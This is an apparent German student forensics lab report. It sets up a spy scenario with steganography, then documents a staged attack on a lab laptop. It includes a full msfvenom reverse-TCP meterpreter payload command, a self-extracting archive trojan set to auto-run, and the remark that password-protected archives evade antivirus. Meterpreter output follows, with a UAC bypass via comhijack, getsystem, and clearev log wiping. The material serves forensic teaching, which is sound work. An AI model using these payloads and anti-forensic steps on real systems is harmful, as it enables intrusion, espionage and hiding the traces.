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1 Aufgabenstellung

Das Ziel der Praktikumsaufgabe besteht darin, bez. eines Computers oder eines mobilen Gerates ein
Festplatten- oder Daten-Image zu erzeugen und dieses Image unter Nutzung einer speziellen Forensik-

Software zeitbasiert auszulesen und zu analysieren.



2 Szenario und Vorbereitung

Das diesem Praktikum zugrundeliegende Szenario spielt mit dem klassischen Motiv des betrogenen
Betrligers, nur dass es sich hier um einen ausspionierten Spion handelt.

Ausgangspunkt ist eine Erkundungsmission, auf die ein bundesdeutscher Agent namens Manuel Op-
fermann in den Kaukasus gesandt wird.

Opfermann tarnt sich als Reporter, der an einer Dokumentation lber die Gebirge des Nahen Ostens
arbeitet. Seine geheime Mission besteht jedoch darin, vor Ort etwaige Raketenstellungen der im dor-
tigen Gebiet operierenden Rebellen zu erkunden und zu fotografieren. Die Aufnahmen will Opfermann
mittels Steganografie in seinen unverfanglichen Berichten verbergen (Datenverschleierung im her-
kommlichen Sinne).

Auf seiner Mission trifft der Agent Opfermann auf ortskundige Einheimische und freundet sich mit
einem von ihnen an. Der Einheimische, der nur seinen ungewohnlichen Kampfnamen A. N. Greifer
nennt, berichtet Opfermann ausfihrlich Gber verschiedene Gebirge und insbesondere (iber den Kau-
kasus. Tatsachlich ist A. N. Greifer ein Mitglied der im Kaukasus operierenden Rebellenorganisation,
die auf Opfermanns Aktivitdten aufmerksam geworden ist.

Unter dem Vorwand, ihm schriftliche Informationen geben zu wollen, sendet A. N. Greifer an den
scheinbaren Journalist Opfermann eine selbstextrahierende Archivdatei, die nicht nur die verspro-
chene PDF-Datei, sondern auch Schadcode enthalt. Bei diesem Schadcode handelt es sich um eine
»Reverse Shell”, die eine Verbindung zum angreifenden Rechner im nahegelegenen Rebellenstiitz-
punkt aufbaut.

Opfermann 6ffnet arglos die Datei und aktiviert damit die verborgene Malware. Die Rebellen kdnnen
jetzt auf seinen kompromittierten Rechner zugreifen und weitere Daten und Informationen {iber den
Reporter erlangen. Abschliefend versuchen die Angreifer ihre Spuren auf dem angegriffenen Rechner
Opfermanns zu verwischen (Datenverschleierung im Sinne der Anti-Forensik).

Nach seiner Rickkehr nach Deutschland wird Opfermanns Laptop routinemaRig forensisch untersucht.
Diese Untersuchung wird in diesem Praktikum durchgefiihrt und im vorliegenden Praktikumsbericht
beschrieben.

2.1 Definition Datenverschleierung

Die Datenverschleierung auch bekannt als Steganografie ist die Kunst oder Wissenschaft der verbor-
genen Speicherung oder Ubermittlung von Informationen in einem Tragermedium.

Der Einsatz durch Steganografie hat das Ziel der Geheimhaltung und die Vertraulichkeit zu wahren.
Informationen werden so verborgen, dass ein Dritter bei Betrachtung des Tragermediums keinen Ver-
dacht schopft. Damit ist zugleich erreicht, dass die verborgenen Informationen

nicht Dritten bekannt werden, d.h. die Geheimhaltung ist (wie bei der Kryptographie) gewahrleistet.

Datenverschleierung oder auch Steganografie ist ein Oberbegriff.
Dieser kann unter anderem in folgende Bereiche unterteilt werden:
e Semagramme: Nachrichten, die in Details von Schriften oder Bildern verborgen sind
¢ Anamorphose: Betrachtung einer Information im Bild aus einem bestimmten Blickwinkel
e Maskierung: Open Code, wie Nicetext z.B. Spammimic
e Jargon, Milieu Code: Sondersprachen, wie ,Schnee” fiir Kokain
e Unsichtbarer Klartext: Text mit Tintenldscher oder Zitronensaft verfassen
e Wasserzeichen
e Steghide: Tragerdatei .omp, .jpg, .wav, und .au



Dariber hinaus hat der Begriff Datenverschleierung im Kontext der IT-Forensik, genauer: in der Anti-
Forensik, noch eine weitere Bedeutung. Angreifer bemiihen sich oftmals die Spuren ihrer Angriffe zu
verwischen, zu l6schen oder falsche Fahrten zu legen. Auf diese Weise werden forensische Untersu-
chungen erschwert, fehlgeleitet oder komplett verunmoglicht. Die Zielsetzung der Angreifer kann da-
bei unterschiedlich sein. Denkbar ist zunachst, dass verborgen werden soll, dass tiberhaupt ein Angriff
stattfand bzw. welchem Ziel der Angriff galt bzw. wie erfolgreich er war. Eine weitere Moglichkeit stellt
die Absicht dar, dass etwaige Hinweise auf die eigene Taterschaft verwischt werden sollen. Weiterhin
ist denkbar, dass gezielte Hinweise platziert werden, die unbeteiligte Dritte des Angriffs verdachtig
machen sollen.

Die Methoden der Datenverschleierung sind vielfaltig. Eine Variante ist die Manipulation bzw. L6-
schung von Logfiles.

Im Rahmen dieses Praktikums werden beide Varianten der Datenverschleierung, also die Steganogra-
fie als auch die antiforensische Datenverschleierung, angewendet.

2.2 Informationen zur Datenverschleierung

Um das Szenario in Kapitel 2 realisieren zu kénnen, sind entsprechende Vorbereitungen durchzufiih-
ren. Diese bestehen aus den zwei Komponenten:

e Informationszusammenstellung der Materialien und

e E-Mail-Versand an die Person in der BRD

2.2.1 Informationszusammenstellung der Materialien

Fiir den Dokumentationsbericht lGber die schonen Gebirge des Nahen Ostens sind folgende Dateien
zur Verfligung gestellt worden:

e Dokumentation_Kaukasus.pdf

e Pflanze.png

e Tiger.png

Die Abbildung 1 listet den Ordnerinhalt ,,Dokumentation Kaukasus” auf.
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T » Dokumentation Kaukasus v D Dokumentation Kaukasus" durchs...
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‘ Downloads '[=] Dokumentation_Kaukasus.docx Microsoft Word D... 805 KB
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Abbildung 1: Ordnerinhalt ,,Dokumentation Kaukasus"

Die geheimen Informationen, die der Agent an die BRD verschleiert versenden soll, befinden sich im
Unterordner ,,Geheimer Bericht” im gleichen Ordner.



Dieser beinhaltet die Dateien:
e Katjuscha BM-13.png
e Katjuscha BM-21.png
e Katjuscha BM-27.png
e RSD-10.png
e Raketenstellungen.txt
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Abbildung 2: Ordnerinhalt ,,Geheimer Bericht"

Die Bilddateien sollen fiir unser Praxisbeispiel die Bilder darstellen, die der Agent im Kaukasus geschos-
sen hat sowie seine Notizen mit den genauen Google-Koordinaten der Raketenstellungen in Verbin-
dung mit dem Typ der Rakete in Form einer Textdatei.

7] Raketenstellungen.txt - Editor - m] X

Datei Bearbeiten Format Ansicht Hilfe

Raketenstellungen
***  im Kaukasus

1.) 42°38°24.3"N; 44°09°'22.1"E: RSD-10

2.) 42°38°38.7"N; 44°09°89.2"E: Katjuscha BM-13
3.) 42°38°34.9"N 44°08°28.3"E: Katjuscha BM-21
4.) 42°38°58.@"N 44°98°15.5"E: Katjuscha BM-27

Abbildung 3: Google-Koordinaten der Raketenstellungen und Typ der Rakete

Um die Datenverschleierung erfolgreich durchfiihren zu kénnen, ist unter Zuhilfenahme die Software
Stegano.Net eingesetzt worden. Die Software Stegano.Net ist von Herrn Sven ABmann (Freiberuflicher
Software Ingenieur Dipl. Inf. (FH)) entwickelt worden und ist ein Steghide-Tool. Unter Verwendung des
Steghide-Tools in Verbindung mit der Bilddatei ,Tiger_beladen” sind die Bilddateien (Katjuscha BM-
13.png, Katjuscha BM-21.png, Katjuscha BM-27.png und RSD-10.png) erfolgreich integriert worden.
Die Abbildung 4 zeigt die erfolgreiche Implementierung der Bilddateien in das , Tiger_beladen” Bild.


https://www.stegano.org/

[ 1 Stegano.Met - Geheime Botschaften X
Hilfe

SteganoUl - X

Informationstrager: ‘okumeﬂtaﬁon Kaukasus'Geheimer Bericht \IINEMAEES =GR Datei &ffnen
Verschlisselung
Passwort: | [ Aktivieren
Schliissel:

Geheimnisse Verbergen...
Vorschau: Verfiigbarer Platz: 2Mb  Botschaft: Verfiigbare Zeichan: 3110338
Text Dokumente

Dokumentname
K
Katjuscha BM-13 png
Katjuscha BM-21.png
Katjuscha BM-27 png
0

Sichtbar machen Geheimniz Speichem [Anhange hinzufigen] Verbergen

Status: Endecke Daten - Fertig!
Abbildung 4: Bild ,Tiger_beladen” mit zusatzlichen Bilddateien

Nach erfolgreicher Datenverschleierung, indem die zuséatzlichen Materialien in das Bild eingebettet
worden sind, ist die Speicherkapazitat des Bildes grofRer geworden. Dies veranschaulicht die Abbildung
5.

W Eigenschaften von Tiger_2png X | WM Eigenschaften von Tiger_beladen.png X
Allgemein  Sicherheit Details Vorgangerversionen Allgemein  Sicherheit Details Vorgangerversionen
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Ort: C:\Users\Forensik " Desktop'\Dokumentation Kaukas Crt: C:'Users\Forensik\Desktop.Dokumentation Kaulkas

Grofe: 1,27 MB (1.337.291 Bytes) Grale: 19.7 MB (20.761.279 Bytes)

Grale auf Grake auf

Datentrager: 1,27 MB (1.339.332 Bytes) Datenirager: 19.8 MB (20.762.624 Bytes)

Ersteltt: Mittwoch. 20. Mai 2020. 19:48:52 Erstelt: Mittwoch. 20. Mai 2020. 20:04:08

Geandert: Mittwoch, 20. Mai 2020, 19:48.54 Geandert: Mittwoch, 20. Mai 2020, 20:04:11

sz;tn;-r Heute. 20. Mai 2020. vor 17 Minuten Lzﬁ;n;-r Heute. 20. Mai 2020, vor 1 Minute

Atribute: [ Schreibgeschiitzt Erweitert ... Atribute: [[] Schreibgeschiitzt Erweitert....

[ versteckt [ Versteckt
oK Abbrechen Ubemehmen oK Abbrechen Ubemehmen

Abbildung 5: Vergleich der Anderungen bez. SpeichergréRe der Bilder

Das Bild links zeigt das Tiger Bild ohne zuséatzliche Informationen und rechts mit den zuséatzlichen In-
formationen.



Des Weiteren beinhaltet das Bild ,,Pflanze_beladen.png” die Notizen des Agenten in Form einer Text-
datei mit den Google-Koordinaten und den Typ der Rakete.

'! Steganc.MNet - Geheime Botschaften *
Hilfe
SteganoUl - X
Informationstrager: ||merrtation Kaukasus“Geheimer Bericht \[giEFEM =S =algve | | Datei offnen..
Verschlusselung
Passwort: | [ Mivieren
Schiissel:
Geheimnisse Verbergen. ..
Vorschau: Verfiigbarer Platz: 75,1 Kb Botschaft: Verfiigbare Zsichen:  TE34E
Text Dokumente
Dokumentname
R
Raketenstellungen tx
Sichtbar machen.. Geheimnis Speichem Anhange hinzufligen Werbergen..
Status: Endecke Daten - Fertig!

Abbildung 6: Bild “Pfanze_beladen” mit der Zusatzinfo "Raketenstellungen.txt"

2.2.2 E-Mail-Versand

Nach erfolgreicher Datenverschleierung der Informationen in die beiden Bilddateien “Tiger_bela-
den.png” und “Pflanze_beladen.png” sind die Informationen an die BRD versendet worden. Hierzu
wurde ein spezieller Text an die BRD mit den Hinweisen von Zusatzinformationen formuliert. Als mog-
licher Empfanger wurde die E-Mail an unser Gruppen-Mitglied Herr Tommy Neubert gesendet. Die
Abbildung 7 zeigt die erfolgreiche Versendung der E-Mail mit dem Dokumentationsbericht sowie der
Bilddateien.

Verfassen: Berichtsdokumentation Kaukasus FFM-01 - Thunderbird - ] x

Datei Bearbeiten Ansicht Einfigen Format Optionen Extras Hilfe

Senden Rechtschr. ~ @ S/MIME |~ Speichern |~ Anhang v
Von:  Manuel Opfermann <Manuel.Opfermann@bielenstein.biz> ~ 3 Anhinge 20,5 M8
tneubert@stud.hs-wismar.de & Dokument...sus.pdf 350 KB

®| Pflanze_..adenPNG 412 KB
%) Tiger_beladen.png 19,2 M2

postmaster@bielenstein.biz

Betreff:  Berichtsdokumentation Kaukasus FFM-01

Normaler Text v Variable Breite ~ = A~ | A A A € = | =~ @

Sehr geehrter Herr Neubert,

vor Ort haben wir einen netten ortskundigen Einheimischen kennengelernt.
In der Anlage sende ich Ihnen unsere Berichtsdokumentation (iber den Kaukaus inklusive der bearbeiteten Bilder zu.
Bitte schauen Sie sich die Bilder genau an!

In den ndchsten Tagen wird der nette Einheimische uns weitere Informationen zur Verfiigung stellen.

Viele Griie

Manuel Opfermann

Machricht wird gesendet... [ )

Abbildung 7: Versendung der E-Mail an die BRD mit den verschleierten




3 Vorbereitung und Durchfihrung des Angriffs

In diesem Abschnitt werden die Vorbereitung sowie die Durchfilhrung des Angriffs beschrieben. Es
wird mittels Metasploit, einem Bordmittel von Kali-Linux, die Malware erstellt. Anschlieend wird die
Malware zu einem Trojaner verpackt und an das Opfer gesendet.

3.1 Beschreibung des Trojaners

In dem diesem Praktikum zugrundeliegenden Szenario beabsichtigt der Angreifer (,A.N.Greifer”) da-
nach, den Computer des Opfers (,Opfermann®) auszuspionieren.

Es handelt sich dabei also um eine Form des Advanced Persistent Threats (APT), und es kommt ein
Remote Access Trojaner (RAT) zum Einsatz:

Bei Remote Access Trojanern (Abk. RAT) handelt es sich um eine spezielle Form von
Trojanern. Der Einsatz erfolgt dabei i.d.R. gezielt, z.B. bei Advanced Persistent Thre-
ats (APTs) oder aber auch in breiteren allgemeinen Angriffen.

Wie fiir Trojaner oftmals typisch, wird dem Opfer ein scheinbar niitzliches Pro-
gramm bereitgestellt, in dem sich tatsdichlich jedoch eine getarnte Malware mit
bésartiger Absicht und Zugriff aus der Ferne ("Fernadministration”) verbirgt.

Die Mdglichkeiten, welche sich fiir den entfernten Angreifer bieten, kénnen vielsei-
tig sein, sind jedoch davon abhdngig, mit welchen Rechten der eingeschleuste
Schadcode ausgefiihrt wird. Denkbar ist beispielsweise, dass neben Anzeige des
Bildschirminhaltes und Aufzeichnung der Tastatureingaben auch verwendete Peri-
pheriegerdte, wie Webcams oder Mikrofone abgehért werden kénnen. Durch Nach-
ldssigkeit, Unachtsamkeit oder Unwissenheit fiihrt ein Benutzer das scheinbare
niitzliche Programm mit administrativen Rechten aus. Durch dieses wird dann der
entsprechende Schadcode nachgeladen und ausgefiihrt.

Durch den Einsatz von Remote-Access-Trojanern (RATs), als Untergruppe der klassi-
schen Trojaner, wird durch den Angreifer primdr das Ziel verfolgt, eine Hintertiir
("Backdoor") auf dem System des Opfers einzurichten. Uber diese Hintertiir strebt
ein Angreifer die Fernsteuerung ("Remote-Access and Administration") des Opfer-
systems ohne Kenntnis des Eigentiimers/Betreibers an. Es wird besonderer Wert da-
raufgelegt, hierbei méglichst lange oder im besten Falle fiir immer unerkannt zu
bleiben. Sind die Ziele des Angreifers erreicht, so werden oftmals im Anschluss simt-
liche Spuren entfernt oder verwischt, damit die verwendete Technik zukiinftig nicht
durch Heuristiken oder Signaturen erkannt wird.?

Konkret kommt in diesem Fall eine selbstentpackende Archivdatei zum Einsatz, die neben der Malware
auch eine Nutzlast, hier eine Dokumentation liber den Kaukasus, enthalt.

L https://it-forensik.fiw.hs-wismar.de/index.php/Remote_Access_Trojaner_(RAT)
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3.2 Erstellung der Malware

Zunachst ist unter Kali Linux mithilfe von Metasploit, genauer: mit msfvenom, die Malware als unter
Windows lauffahige *.exe-Datei erstellt worden.

msf5 > msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.178.46 LPORT=4444 -e x86/shikata_ga_nai -f exe > virus.exe
exec: msfvenom -a x86 —platform Windows —-p windows/meterpreter/reverse_tcp LHOST=192.168.178.46 LPORT=444s e x86/shikata_ga nai —f exe > virus.exe

Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)

x86/shikata_ga_nai chosen with final size 368
Payload size: 368 bytes

Final size of exe file: 73802 bytes

msf5 >

@@ =il G @@ strerecTs

Abbildung 8: msfvenom erstellt die Malware

3.3 Erstellung und Versand des Trojaners

Der Virus wird unter Windows mit Hilfe des Programmes ,, WinRAR” in ein selbstentpackendes Archiv
(SFX-Datei) komprimiert. In SFX-Dateien gepackte Daten kann der Empfanger entpacken, ohne dass er
eine Software flr die Komprimierung installiert hat.

Die SFX-Datei wird so konfiguriert, dass die Datei ,virus.exe” sofort nach dem Entpacken ausgefiihrt
wird, wohingegen die Dokumentation liber den Kaukasus normal entpackt wird. Der Empfanger merkt
so kaum, dass er soeben einen Trojaner ausgefiihrt hat.

]

.'_,,]I

Update Text und Icon Lizenz Modul

Allgemein Setup Modi Erweitert
Allgemein Erweitert Optionen Datelen Backup Zeit Kommentar

Setup-Programm

Archivname Suchen... Nach dem Entpacken ausfihren
Kaukasus-Bericht.PDF.exe ~
Standardprofil Updatemodus
Profile... Dateien hinzufiigen und ersetzen ~
Vor dem Entpacken ausfiihren
Archivformat Archivierungsoptionen
@RAR  DRARe  (OzIP []pateien nach dem Archivieren |oschen
[]iSelbstentpackendes Archiv ersteller:

Komprimierungsmethode Dgolides Archiv erstellen [ Auf Setup-Programm warten und Exit-Code zuriickgebe
Normal ™ [ wiederherstellungsdaten hinzufiigen 0
Warterbuchgrafie [ Teste archivierte Dateien

32 MB - [JArchiv vor Veréinderung schiitzen

VolumengriBe

Abbrechen Hilfe Abbrechen Hilfe

Abbildung 9 Erstellung des Trojaners

Wenn zusatzlich das Archiv mit einem Passwort verschliisselt wird, dann hat der Virenscanner auf der
Empfangerseite keine Chance den Virus rechtzeitig zu erkennen.

3.4 Durchfihrung des Angriffs zur Kompromittierung des IT-Systems

Um das Laptop des Agenten erfolgreich zu kompromittieren, hat der Angreifer (der nette und freund-
liche Einheimische) einen Trojaner gebaut und den Trojaner mit zusatzlichen Materialien (einer weite-
ren PDF-Datei) in ein selbstentpackendes Archiv erstellt. Die genaue Beschreibung zur Erstellung des
Trojaners ist in Kapitel 3.2 erlautert.
Damit ein Hacking-Angriff erfolgreich ist, besteht dieser aus vier essentiellen Phasen, diese sind:

1. Aufklarung

2. Scan

3. Eindringen

4. Nachbereitung und Erhaltung des Zugriffs

Die Phasen Aufklarung und Scan werden fiir das Praxisprojekt nicht weiter betrachtet, da diese im
Vorfeld in Form des Kommunikationsaustausches zwischen dem Reporter (Agent) und dem netten
freundlichen Einheimischen (Angreifer) passiert ist.
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3.4.1 Eindringen

In dieser Phase ist das Eindringen der Vorgang, die Kontrolle tiber ein System zu gewinnen. Diese Phase
wird auch als Exploitation bezeichnet, weil eine Schwachstelle erfolgreich ausgenutzt wird. In unserer
Fallkonstellation ist die Schwachstelle der Mensch, konkret der Reporter (Agent), indem er auf die E-
Mail des netten Einheimischen (Angreifer) geklickt hat und den Anhang heruntergeladen sowie das
selbstentpackende Archiv ausgefiihrt hat.

Bei der Ausfiihrung des selbstentpackenden Archives wurde im Hintergrund eine , Reverse Shell“ ge-
startet. Das besondere bei einer ,,Reverse Shell” ist, dass das Opfer IT-System eine Verbindung zu der
Angreifer-Maschine aufbaut und somit moégliche Firewall-Regeln umgeht, da von einem internen IT-
System eine Verbindung zu einem externen IT-System aufgebaut wird.

Die Abbildung 10 veranschaulicht grafisch das Konzept einer ,Reverse Shel

III

X

F Y

Angreifer- ’ o .
Maschine ¥ N

Firewall Opfer-Maschine

|«

Abbildung 10: Konstrukt einer ,Reverse Shel

Nach erfolgreichem Starten der ,Reverse Shell” hat der Angreifer Zugriff auf das Opfer IT-System, dies
veranschaulicht Abbildung 11.

ShellNo.1

msf5 exploit( ) >

Sending stage (180291 bytes) to 192.168.178.50

Meterpreter session 1 opened (192.168.178.46:4444 — 192.168.178.50:50219) at 2020-85-27 12:59:39 -0400
getuid

Unknown command: getuid.
msf5 exploit( ) > session -id 1

Unknown command: session.

msf5 exploit( ) > sessions -i 1
Starting interaction with 1...

meterpreter > getuid
Server username: Forensik-PC\Forensik

meterpreter > J|

Abbildung 11: Zugriff auf das Opfer IT-System via Reverse Shell

Hierbei sind vom Angreifer verschiedene Shell- und Windows-Befehle durchgefiihrt worden, um mehr
Informationen tiber das Opfer IT-System des Reporters (Agenten) zu erhalten.
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File Actions Edit View Help

Urspréngliches Installationsdatum:
Systemstartzeit:

Systemhersteller:

Systemmodell:

Systemtyp:

Prozessor(en):

BIOS-Version:

Windows-Verzeichnis:
System-Verzeichnis:

Startger®t:

Systemgebietsschema:
Eingabegebietsschema:

Zeitzone:

Gesamter physischer Speicher:
Verfégbarer physischer Speicher:
Virtueller Arbeitsspeicher: Maximale Gré®e:
Virtueller Arbeitsspeicher: Verfé#gbar:

Virtueller Arbeitsspeicher: Zurzeit verwendet:

Auslagerungsdateipfad(e):
Dom€ne:

Anmeldeserver:
Hotfix(es):

Netzwerkkarte(n):

Anforderungen f€r Hyper-v:

C:\Users\Forensik\AppData\Local\Temp\RarSFx2>|

Shell No.1

Extensa 5220

x64-based PC

1 Prozessor(en) installiert.

[@1]: Intel64 Family 6 Model 22 Stepping 1 GenuineIntel ~1995 MHz

Phoenix Technologies LTD V1.32 , 01.92.2008

C:\WINDOWS

C:\WINDOWS\system32

\Device\HarddiskVolumel

de;Deutsch (Deutschland)

de;Deutsch (Deutschland)

(UTC+01:00) Bréssel, Kopenhagen, Madrid, Paris

3.062 MB

1.279 MB

6.134 MB

4,125 MB

2.009 MB

C:\pagefile.sys

WORKGROUP

\\FORENSIK-PC

8 Hotfix(e) installiert.

: KB4552931
: KB4513661
: KB4516115
: KB4517245
: KB4528759
: KB4537759
: KB4552152
: KB&4556799

2 Netzwerkadapter installiert.

[01]: Broadcom 802.11g Network Adapter
Verbindungsname: Drahtlosnetzwerkverbindung
Status: Medien getrennt

[02]: Broadcom NetLink (TM) Gigabit Ethernet
Verbindungsname: LAN-Verbindung
DHCP aktiviert: Ja
DHCP-Server: 192.168.178.1
IP-Adresse(n)

[e1]: 192.168.178.50

[02]: feB@::3c37:a4f@:442d:3c19

[03]: 2002:b0Oc6:8f62:0:30f8:cf3a:fee3:89d5
[04]: 2002:b0c6:8f62 3¢37:a4f0:442d:3c19

Erweiterungen f€r den VM-€berwachungsmodus: Nein

Virtualisierung in Firmware aktiviert: Nein

Adress®bersetzung der zweiten Ebene: Nein

Datenausf®hrungsverhinderung verf®gbar: Ja

Abbildung 12: Befehl ,,sysinfo” gibt Informationen tber den Ziel-Host an.

File Actions Edit View Help

27.05.2020 1 <DIR>
27.05.2020
27.85.

4 1.118.208 Administrative Ereignisse.evtx
9
27.05. 7
4
"
8

.784 Anwendung-Eventlog.evtx

.632 Installation-Eventlog.evtx
LocaleMetaData
Sicherheit-Eventlog.evtx

. System-Eventlog.evtx

5 Datei(en), 9.785.344 Bytes

3 Verzeichnis(se), 293.030.834.176 Bytes frei

27.05.
27.85.20
27.85.

C:\Users\Forensik\Documents>dir +.pdf

dir *.pdf

Volume in Laufwerk C: hat keine Bezeichnung
Volumeseriennummer: 203B-C472

Verzeichnis von C:\Users\Forensik\Documents
Datei nicht gefunden

C:\Users\Forensik\Documents>dir *.pdf /s

dir *.pdf /s

Volume in Laufwerk C: hat keine Bezeichnung
Volumeseriennummer: 203B-C472

Datei nicht gefunden

C:\Users\Forensik\Documents>cd ..
cd ..

C:\Users\Forensik>cd desktop
cd desktop

C:\Users\Forensik\Desktop>dir

dir

Volume in Laufwerk C: hat keine Bezeichnung.
Volumeseriennummer: 203B-C472

Verzeichnis von C:\Users\Forensik\Desktop

25.85.2020
.05. .-
.85. 1.150 Clean Disk Security.lnk

7 <DIR>
7
7
.85, 2 <DIR> Dokumentation Kaukasus
5
5
=
4

<DIR>

.e5. <DIR> Forensik Doku
.85. 1.710 Konsole mit Adminrechten.lnk
.05.
.05.20 320 Stegano.Net.appref-ms
3 Datei(en), 3.180 Bytes

5 Verzeichnis(se), 293.030.088.704 Bytes frei

C:\Users\Forensik\Desktop>|

Abbildung 13: Ordnerauflistung im Verzeichnis ,Desktop“

ShellNo.1

<DIR> OpenOffice 4.1.7 (de) Installation Files

via Shell- und Windows-Kommandos
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ShellNo.1

File Actions Edit View Help

20.05.2020 19:37 456.505 Pflanze.png
20.05.2020 19:48 1.337.291 Tiger_2.png
2 Datei(en), 1.793.796 Bytes

Verzeichnis von C:\Users\Forensik\Desktop\Dokumentation Kaukasus\Geheimer Bericht

.05.2020 19: 2.299.739 Gebirge.png
.05.2020 17: 569.840 Katjuscha BM-13.png
.05.2020 17: 220.847 Katjuscha BM-21.png
.05.2020 17: 705.462 Katjuscha BM-27.png
.05.2020 : 422.134 Pflanze_beladen.PNG
.05.2020 : 294,468 RSD-10.png
.05.2020 : 1.337.291 Tiger_2.png
.05.2020 : 20.761.279 Tiger_beladen.png

8 Datei(en), 26.611.060 Bytes

Verzeichnis von C:\Users\Forensik\Desktop\Forensik Doku

.05.2020 : 110.109 2020-05-20 19_59_35-Window.png
.05.2020 : 107.161 2020-85-20 20_00_04-Stegano.Net - Geheime Botschaften.
.05.2020 : 97.403 2020-85-20 20_01_17-Program Manager.png
.05.2020 : 196.607 2020-85-20 20_01_45-Program Manager.png
.05.2020 : .481 2020-05-20 20_06_26-Program Manager.png
.05.2020 : .932 2020-05-20 20_09_15-Stegano.Net - Geheime Botschaften.png
.05.2020 : .817 2020-05-20 20_13_42-Stegano.Net - Geheime Botschaften.png
.05.2020 : .185 2020-05-20 20_15_04-Stegano.Net - Geheime Botschaften.png
.05.2020 : .112 2020-05-20 20_29_05-.png
.05.2020 : .510 @05-20 20_34_18-Verfassen_ Berichtsdokumentation Kaukasus FFM-81 - Thunderbird.png
.05. ('] : .738 05-20 20_34_25-Verfassen_ Berichtsdokumentation Kaukasus FFM-01 - Thunderbird.png
.05.2020 20: .641 2020-85-20 20_34_38-Window.png
.05.2020 20: .671 2020-85-20 20_35_31-.png
.05.2020 : .591 2020-05-20 20_37_45-Berichtsdokumentation Kaukasus FFM-81 - Sent Items - Mozilla Thunderbird.png
.05.2020 : .099 2020-05-25 19_23_56-Computerverwaltung.png
.05.2020 : .283 2020-05-25 19_24_41-Computerverwaltung.png
.05.2020 : .996 2020-05-25 19_25_43-Computerverwaltung.png
.05.2020 14: .491 2020-85-27 14_46_01-Ereignisanzeige.png
.05.2020 14: .395 2020-85-27 14_53_24-Ereignisanzeige.png
.05.2020 14: .215 2020-85-27 14_58_4B-Ereignisanzeige.png
.05.2020 14: .939 2020-85-27 14_59_26-Ereignisanzeige.png
.05.2020 15: .175 2020-85-27 15_03_37-Ereignisanzeige.png
.05.2020 18: .747 2020-85-27 18_46_01-Posteingang - Mozilla Thunderbird.png
.05.2020 £55. .378 2020-05-27 18_55_16-Kaukasus-Bericht.pdf - Adobe Acrobat Reader DC.png
24 Datei(en), 2.121.596 Bytes

Anzahl der angezeigten Dateien:
34 Datei(en), 30.526.452 Bytes
@ Verzeichnis(se), 293.030.088.704 Bytes frei

C:\Users\Forensik\Desktop>[]

Abbildung 14: Routing in das Zielverzeichnis , Forensik Doku“

B  mEO=| ® puFkeHgw.jpeg (JPEGI.. [ ShellNo.1 Geheimer Bericht - File ...
Geheimer Bericht - File Manager
File Edit View Go
&« » A Jhome/kali/Dokumentation Kaukasus/Geheimer Bericht/ Maratir Fog
DEVICES
[ File System
PLACES

. ] v
- am Manager.png
| S |
i Gebirge.png Katjuscha Katjuscha Katjuscha Pflanze_beladen.P Raketenstellungen.  RSD-10.png am Manager. png
I kali BM-13.png BM-21.png BM-27.png NG txt
2 Desktop e Botschaften.png
-20 20_09_15-Stega

@ Trash s &
«7?) e Botschaften.png

NETWORK e Botschaften.png
[ Browse Network Tiger_2png  Tiger_beladen.png 0 20_13_42-Stegano

~ =

e Botschaften.png
e Botschaften.png
0 20_15_04-Stegano

e Botschaften.png

20_34_18-Verfassen
> ././Forensik Dok
20_34_18-Verfassen
20_34_25-Verfassen
> ././Forensik Dok

20_34_25-Verfassen

020-05-20 20_37_45

9 items: 17.6 MiB (18,433,102 bytes), Free space: 63.1 GiB erbird.png - ././

download : .\Forensik Doku\2020-05-20 20_37_45-Berichtsdokumentation Kaukasus FFM-01 - Sent Items - Mozilla Thunderbird.png — ././Forensik Doku/2020-05-20 20_37_45
-Berichtsdokumentation Kaukasus FFM-01 - Sent Items - Mozilla Thunderbird.png
Downloading: .\Forensik Doku\2020-05-25 19_23_56-Computerverwaltung.png — ././Forensik Doku/2020-05-25 19_23_56-Computerverwaltung.png

Abbildung 15: Befehl ,,screenshot”

3.4.2 Nachbereitung und Erhaltung des Zugriffs

Damit der Hacking-Angriff auf dem Opfer IT-System des Reporters (Agenten) unbemerkt bleibt, wurde
hier wieder das Prinzip der Datenverschleierung angewendet. Hierbei werden alle Log-Eintrdage des
Windows-Clients geldscht.

Damit die Log-Eintrage erfolgreich mit dem Befehl ,clearev” geléscht werden kdnnen, sind erhohte
Rechte bzw. privilegierte Rechte notwendig, die das Ausfiihren des Befehls erlauben.
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Um die erhohten Rechte zu umgehen, wurde , Authentication Bypass” betrieben. Dabei verschafft sich
ein Angreifer mit den Privilegien eines autorisierten oder privilegierten Benutzers Zugang zu Anwen-
dung, Dienst oder Gerét, indem er einen Authentifizierungsmechanismus umgeht. Der Angreifer ist
daher in der Lage, auf geschiitzte Daten zuzugreifen, ohne dass jemals eine Authentifizierung stattge-
funden hat.

Fiir die erfolgreiche Durchfiihrung des , Authentication Bypasses” ist unter Zuhilfenahme von Meta-
sploit das Modul ,,comhijack” ausgefiihrt worden. Dies erlaubt Dienste ohne erhdhte Rechte, die im
Normalfall notwendig sind zu umgehen.

Die Abbildung 16 zeigt die erfolgreiche Ausfiihrung des Moduls ,,comhijack” mithilfe von Metasploit
zur erfolgreichen Loschung der Windows Log-Eintragen.

B I mErsg E [puFkeHgw.jpeg (JPEG I B [homefkali/Desktop/Rev... - O ShellNo.1
Shell No.1

File Actions Edit View Help

nsf5 exploit( ) > set payload windows/x64/meterpreter/reverse_tcp
payload = windows/x64/meterpreter/reverse_tcp
nsf5 exploit( ) > show options

Module options (exploit/windows/local/bypassuac_comhijack):
Current Setting Required Description

SESSION 1 The session to run this module on.

Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.178.46 The listen address (an interface may be specified)

LPORT 444k yes The listen port

Exploit target:

Id Name

0 Automatic

nsfs exploit( ) > run

Started reverse TCP handler on 192.168.178.46:4444
UAC is Enabled, checking level ...
[+] Part of Administrators group! Continuing ...
[1] UAC set to DoNotPrompt - using ShellExecute "runas" method instead
Uploading LYHdoNjfewfp.exe - 7168 bytes to the filesystem...
Executing Command!
Sending stage (206403 bytes) to 192.168.178.50
Meterpreter session 2 opened (192.168.178.46:44646 —> 192.168.178.50:50346) at 2020-05-27 14:31:30 -0400

meterpreter > getsystem
... got system via technique 1 (Named Pipe Impersomation (In Memory/Admin)).
meterpreter > clearev

